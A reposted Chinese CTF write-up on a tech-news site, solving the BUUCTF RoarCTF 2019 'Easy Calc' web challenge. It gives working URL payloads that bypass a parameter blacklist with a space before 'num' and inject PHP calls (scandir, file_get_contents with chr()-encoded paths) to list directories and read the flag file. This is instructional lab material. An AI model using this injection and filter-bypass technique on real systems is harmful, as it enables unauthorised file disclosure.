返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >buuctf-web-[RoarCTF 2019]Easy Calc1
  • 218
分享到

buuctf-web-[RoarCTF 2019]Easy Calc1

phpPoweredby金山文档 2023-09-22 05:09:33 218人浏览 薄情痞子
摘要

打开环境 发现一个类似计算器的东西 尝试一些常规的测试参数 尝试单引号发现提示,但是并未报错,非sql注入

打开环境

发现一个类似计算器的东西

尝试一些常规的测试参数

尝试单引号发现提示,但是并未报错,非sql注入

查看源代码

找到一段javascript脚本

访问calc.php

发现源代码

 

需要对num进行传参,并且有黑名单,需要进行绕过

尝试payload

Http://node4.buuoj.cn:26562/calc.php?num=1;var_dump(scandir(chr(47)))

进行修改

http://node4.buuoj.cn:26562/calc.php? num=1;var_dump(scandir(chr(47)))

num参数禁止传入字母,可以在问号和num之间加入空格进行绕过

var_dump()用来打印

scandir()用来获扫描目录下文件

chr(47)是“/”的ASCII编码

进行内容读取的payload

http://node4.buuoj.cn:26562/calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法

chr(47)是/的ASCII编码

chr(102)是f的ASCII编码

chr(49)是1的ASCII编码

chr(97)是a的ASCII编码

chr(103)是g的ASCII编码

flag{af9d35dd-c8bc-4185-968c-983D75685794}

来源地址:https://blog.csdn.net/qq_29977871/article/details/128730416

--结束END--

本文标题: buuctf-web-[RoarCTF 2019]Easy Calc1

本文链接: https://lsjlt.com/news/414662.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • buuctf-web-[RoarCTF 2019]Easy Calc1
    打开环境 发现一个类似计算器的东西 尝试一些常规的测试参数 尝试单引号发现提示,但是并未报错,非sql注入 ...
    99+
    2023-09-22
    php Powered by 金山文档
  • BUUCTF-Web-[极客大挑战 2019]Upload
    打开后可以看到是一个可以进行文件上传的页面,如下图所示 查看页面源代码,如下图所示,可以看到有js代码,说明存在前端验证的可能性 上传一个php文件,此处上传shell.php后页面如下图所示,显示不是图片 用burpsuite进行抓...
    99+
    2023-10-07
    php 开发语言
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作